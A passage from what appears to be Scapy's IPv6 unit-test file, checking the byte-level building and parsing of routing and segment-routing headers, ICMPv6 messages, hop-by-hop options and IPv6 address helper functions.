b'`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Multiple Addresses - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->1) - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->0) - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' ########### IPv6ExtHdrSegmentRouting Class ########################### = IPv6ExtHdrSegmentRouting Class - default - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting()/UDP()) assert(s == b'`\x00\x00\x00\x00 +@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x02\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x005\x005\x00\x08\xffr') p = IPv6(s) assert(UDP in p and IPv6ExtHdrSegmentRouting in p) assert(p[IPv6ExtHdrSegmentRouting].lastentry == 0 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0) = IPv6ExtHdrSegmentRouting Class - addresses list - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"])/UDP()) assert(s == b'`\x00\x00\x00\x00@+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x06\x04\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x005\x005\x00\x08\xffr') p = IPv6(s) assert(UDP in p and IPv6ExtHdrSegmentRouting in p) assert(p[IPv6ExtHdrSegmentRouting].lastentry == 2 and len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0) = IPv6ExtHdrSegmentRouting Class - TLVs list - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(tlv_objects=[IPv6ExtHdrSegmentRoutingTLV()])/TCP()) assert(s == b'`\x00\x00\x00\x004+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x04\x02\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00') p = IPv6(s) assert(TCP in p and IPv6ExtHdrSegmentRouting in p) assert(p[IPv6ExtHdrSegmentRouting].lastentry == 0) assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2) assert(isinstance(p[IPv6ExtHdrSegmentRouting].tlv_objects[1], IPv6ExtHdrSegmentRoutingTLVPadding)) = IPv6ExtHdrSegmentRouting Class - both lists - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"], tlv_objects=[IPv6ExtHdrSegmentRoutingTLVIngressNode(),IPv6ExtHdrSegmentRoutingTLVEgressNode()])/ICMPv6EchoRequest()) assert(s == b'`\x00\x00\x00\x00h+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x0b\x04\x02\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x01\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x7f\xbb\x00\x00\x00\x00') p = IPv6(s) assert(p[IPv6ExtHdrSegmentRouting].lastentry == 2) assert(ICMPv6EchoRequest in p and IPv6ExtHdrSegmentRouting in p) assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2) = IPv6ExtHdrSegmentRouting Class - UDP pseudo-header checksum - build & dissect s= raw(IPv6(src="fc00::1", dst="fd00::42")/IPv6ExtHdrSegmentRouting(addresses=["fd00::42", "fc13::1337"][::-1], segleft=1, lastentry=1) / UDP(sport=11000, dport=4242) / Raw('foobar')) assert(s == b'`\x00\x00\x00\x006+@\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B\x11\x04\x04\x01\x01\x00\x00\x00\xfc\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x137\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B*\xf8\x10\x92\x00\x0e\x81\xb7foobar') ############ ############ + Test in6_get6to4Prefix() = Test in6_get6to4Prefix() - 0.0.0.0 address in6_get6to4Prefix("0.0.0.0") == "2002::" = Test in6_get6to4Prefix() - 255.255.255.255 address in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::" = Test in6_get6to4Prefix() - 1.1.1.1 address in6_get6to4Prefix("1.1.1.1") == "2002:101:101::" = Test in6_get6to4Prefix() - invalid address in6_get6to4Prefix("somebadrawing") is None ############ ############ + Test in6_6to4ExtractAddr() = Test in6_6to4ExtractAddr() - 2002:: address in6_6to4ExtractAddr("2002::") == "0.0.0.0" = Test in6_6to4ExtractAddr() - 255.255.255.255 address in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255" = Test in6_6to4ExtractAddr() - "2002:101:101::" address in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1" = Test in6_6to4ExtractAddr() - invalid address in6_6to4ExtractAddr("somebadrawing") is None ########### RFC 4489 - Link-Scoped IPv6 Multicast address ########### = in6_getLinkScopedMcastAddr() : default generation a = in6_getLinkScopedMcastAddr(addr="FE80::") a == 'ff32:ff::' = in6_getLinkScopedMcastAddr() : different valid scope values a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None = in6_getLinkScopedMcastAddr() : grpid in different formats a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=b"\x12\x34\x56\x78") b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678") c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896) a == b and b == c ########### ethernet address to iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 2) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 3) in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 4) in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 5) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 6) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' ########### iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 2) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 3) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 4) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 5) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 6) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 1) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 2) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 3) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 4) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 5) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 6) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' ########### RFC 3041 related function ############################### = Test in6_getRandomizedIfaceId import socket res=True for a in six.moves.range(10): s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') inet_pton(socket.AF_INET6, '::'+s1) tmp2 = inet_pton(socket.AF_INET6, '::'+s2) res = res and ((orb(s1[0]) & 0x04) == 0x04) s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=tmp2) tmp = inet_pton(socket.AF_INET6, '::'+s1) inet_pton(socket.AF_INET6, '::'+s2) res = res and ((orb(s1[0]) & 0x04) == 0x04) ########### RFC 1924 related function ############################### = Test RFC 1924 function - in6_ctop() basic test in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a' = Test RFC 1924 function - in6_ctop() with character outside charset in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None = Test RFC 1924 function - in6_ctop() with bad length address in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() with bad input in6_ptoc('1080:::8:800:200c:417a') == None ########### in6_getAddrType ######################################### = in6_getAddrType - 6to4 addresses in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4) = in6_getAddrType - Assignable Unicast global address in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) = in6_getAddrType - Multicast global address in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Multicast local address in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Unicast Link-Local address in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) = in6_getAddrType - Loopback address in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK = in6_getAddrType - Unspecified address in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED = in6_getAddrType - Unassigned Global Unicast address in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE::1) in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE8::1) in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1::1) in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1000::1) in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) ########### ICMPv6DestUnreach Class ################################# = ICMPv6DestUnreach Class - Basic Build (no argument) raw(ICMPv6DestUnreach()) == b'\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload) raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x14e\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 with some payload raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x01\x00\x8e\xa3\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6DestUnreach Class - Dissection with default values and some payload a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].code == 0 and a[ICMPv6DestUnreach].cksum == 0x8ea3 and a[ICMPv6DestUnreach].unused == 0 and IPerror6 in a = ICMPv6DestUnreach Class - Dissection with specific values a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6DestUnreach in a and a[ICMPv6DestUnreach].type == 1 and a[ICMPv6DestUnreach].cksum == 0x6666 and a[ICMPv6DestUnreach].unused == 0x7777 and IPerror6 in a[ICMPv6DestUnreach] = ICMPv6DestUnreach Class - checksum computation related stuff a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach(code=1, cksum=0x6666, unused=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6DestUnreach][TCPerror].chksum == b.chksum ########### ICMPv6PacketTooBig Class ################################ = ICMPv6PacketTooBig Class - Basic Build (no argument) raw(ICMPv6PacketTooBig()) == b'\x02\x00\x00\x00\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 (for cksum and overload) raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()) == b'`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x0ee\x00\x00\x05\x00' = ICMPv6PacketTooBig Class - Basic Build over IPv6 with some payload raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca")) == b'`\x00\x00\x00\x000:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x02\x00\x88\xa3\x00\x00\x05\x00`\x00\x00\x00\x00\x00;@ G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca' = ICMPv6PacketTooBig Class - Dissection with default values and some payload a = IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig()/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 0 and a[ICMPv6PacketTooBig].cksum == 0x88a3 and a[ICMPv6PacketTooBig].mtu == 1280 and IPerror6 in a True = ICMPv6PacketTooBig Class - Dissection with specific values a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=2, cksum=0x6666, mtu=1460)/IPv6(src="2047::cafe", dst="2048::deca"))) a.plen == 48 and a.nh == 58 and ICMPv6PacketTooBig in a and a[ICMPv6PacketTooBig].type == 2 and a[ICMPv6PacketTooBig].code == 2 and a[ICMPv6PacketTooBig].cksum == 0x6666 and a[ICMPv6PacketTooBig].mtu == 1460 and IPerror6 in a = ICMPv6PacketTooBig Class - checksum computation related stuff a=IPv6(raw(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6PacketTooBig(code=1, cksum=0x6666, mtu=0x7777)/IPv6(src="2047::cafe", dst="2048::deca")/TCP())) b=IPv6(raw(IPv6(src="2047::cafe", dst="2048::deca")/TCP())) a[ICMPv6PacketTooBig][TCPerror].chksum == b.chksum ########### ICMPv6TimeExceeded Class ################################ # To be done but not critical. Same mechanisms and format as # previous ones. ########### ICMPv6ParamProblem Class ################################ # See previous note ############ ############ + Test ICMPv6EchoRequest Class = ICMPv6EchoRequest - Basic Instantiation raw(ICMPv6EchoRequest()) == b'\x80\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoRequest - Instantiation with specific values raw(ICMPv6EchoRequest(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x80\xff\x11\x11""33thisissomestring' = ICMPv6EchoRequest - Basic dissection a=ICMPv6EchoRequest(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoRequest - Dissection with specific values a=ICMPv6EchoRequest(b'\x80\xff\x11\x11""33thisissomerawing') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing" = ICMPv6EchoRequest - Automatic checksum computation and field overloading (build) raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoRequest()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00' = ICMPv6EchoRequest - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ############ ############ + Test ICMPv6EchoReply Class = ICMPv6EchoReply - Basic Instantiation raw(ICMPv6EchoReply()) == b'\x81\x00\x00\x00\x00\x00\x00\x00' = ICMPv6EchoReply - Instantiation with specific values raw(ICMPv6EchoReply(code=0xff, cksum=0x1111, id=0x2222, seq=0x3333, data="thisissomestring")) == b'\x81\xff\x11\x11""33thisissomestring' = ICMPv6EchoReply - Basic dissection a=ICMPv6EchoReply(b'\x80\x00\x00\x00\x00\x00\x00\x00') a.type == 128 and a.code == 0 and a.cksum == 0 and a.id == 0 and a.seq == 0 and a.data == b"" = ICMPv6EchoReply - Dissection with specific values a=ICMPv6EchoReply(b'\x80\xff\x11\x11""33thisissomerawing') a.type == 128 and a.code == 0xff and a.cksum == 0x1111 and a.id == 0x2222 and a.seq == 0x3333 and a.data == b"thisissomerawing" = ICMPv6EchoReply - Automatic checksum computation and field overloading (build) raw(IPv6(dst="2001::cafe", src="2001::deca", hlim=64)/ICMPv6EchoReply()) == b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x81\x00\x94\xf1\x00\x00\x00\x00' = ICMPv6EchoReply - Automatic checksum computation and field overloading (dissection) a=IPv6(b'`\x00\x00\x00\x00\x08:@ \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x80\x00\x95\xf1\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and isinstance(a.payload, ICMPv6EchoRequest) and a.payload.cksum == 0x95f1 ########### ICMPv6EchoReply/Request answers() and hashret() ######### = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 1 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") b.hashret() == a.hashret() # data are not taken into account for hashret = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 2 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="otherdata") b.hashret() == a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 3 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x8888, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - hashret() test 4 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777,data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x8888, seq=0x7777, data="somedata") b.hashret() != a.hashret() = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 5 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - answers() test 6 b=IPv6(src="2047::deca", dst="2048::cafe")/ICMPv6EchoReply(id=0x6666, seq=0x7777, data="somedata") a=IPv6(src="2048::cafe", dst="2047::deca")/ICMPv6EchoRequest(id=0x6666, seq=0x7777, data="somedata") (a > b) == True = ICMPv6EchoRequest and ICMPv6EchoReply - live answers() use Net6 ~ netaccess ipv6 a = IPv6(dst="www.google.com")/ICMPv6EchoRequest() b = IPv6(src="www.google.com", dst=a.src)/ICMPv6EchoReply() assert b.answers(a) assert (a > b) ########### ICMPv6MRD* Classes ###################################### = ICMPv6MRD_Advertisement - Basic instantiation raw(ICMPv6MRD_Advertisement()) == b'\x97\x14\x00\x00\x00\x00\x00\x00' = ICMPv6MRD_Advertisement - Instantiation with specific values raw(ICMPv6MRD_Advertisement(advinter=0xdd, queryint=0xeeee, robustness=0xffff)) == b'\x97\xdd\x00\x00\xee\xee\xff\xff' = ICMPv6MRD_Advertisement - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Advertisement())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 8 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Advertisement in a and a[ICMPv6MRD_Advertisement].type == 151 and a[ICMPv6MRD_Advertisement].advinter == 20 and a[ICMPv6MRD_Advertisement].queryint == 0 and a[ICMPv6MRD_Advertisement].robustness == 0 = ICMPv6MRD_Solicitation - Basic dissection raw(ICMPv6MRD_Solicitation()) == b'\x98\x00\x00\x00' = ICMPv6MRD_Solicitation - Instantiation with specific values raw(ICMPv6MRD_Solicitation(res=0xbb)) == b'\x98\xbb\x00\x00' = ICMPv6MRD_Solicitation - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Solicitation())) a.dst == "33:33:00:00:00:02" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::2" and ICMPv6MRD_Solicitation in a and a[ICMPv6MRD_Solicitation].type == 152 and a[ICMPv6MRD_Solicitation].res == 0 = ICMPv6MRD_Termination Basic instantiation raw(ICMPv6MRD_Termination()) == b'\x99\x00\x00\x00' = ICMPv6MRD_Termination - Instantiation with specific values raw(ICMPv6MRD_Termination(res=0xbb)) == b'\x99\xbb\x00\x00' = ICMPv6MRD_Termination - Basic Dissection and overloading mechanisms a=Ether(raw(Ether()/IPv6()/ICMPv6MRD_Termination())) a.dst == "33:33:00:00:00:6a" and IPv6 in a and a[IPv6].plen == 4 and a[IPv6].nh == 58 and a[IPv6].hlim == 1 and a[IPv6].dst == "ff02::6a" and ICMPv6MRD_Termination in a and a[ICMPv6MRD_Termination].type == 153 and a[ICMPv6MRD_Termination].res == 0 ############ ############ + Test HBHOptUnknown Class = HBHOptUnknown - Basic Instantiation raw(HBHOptUnknown()) == b'\x01\x00' = HBHOptUnknown - Basic Dissection a=HBHOptUnknown(b'\x01\x00') a.otype == 0x01 and a.optlen == 0 and a.optdata == b"" = HBHOptUnknown - Automatic optlen computation raw(HBHOptUnknown(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = HBHOptUnknown - Instantiation with specific values raw(HBHOptUnknown(optlen=9, optdata="B"*10)) == b'\x01\tBBBBBBBBBB' = HBHOptUnknown - Dissection with specific values a=HBHOptUnknown(b'\x01\tBBBBBBBBBB') a.otype == 0x01 and a.optlen == 9 and a.optdata == b"B"*9 and isinstance(a.payload, Raw) and a.payload.load == b"B" ############ ############ + Test Pad1 Class = Pad1 - Basic Instantiation raw(Pad1()) == b'\x00' = Pad1 - Basic Dissection 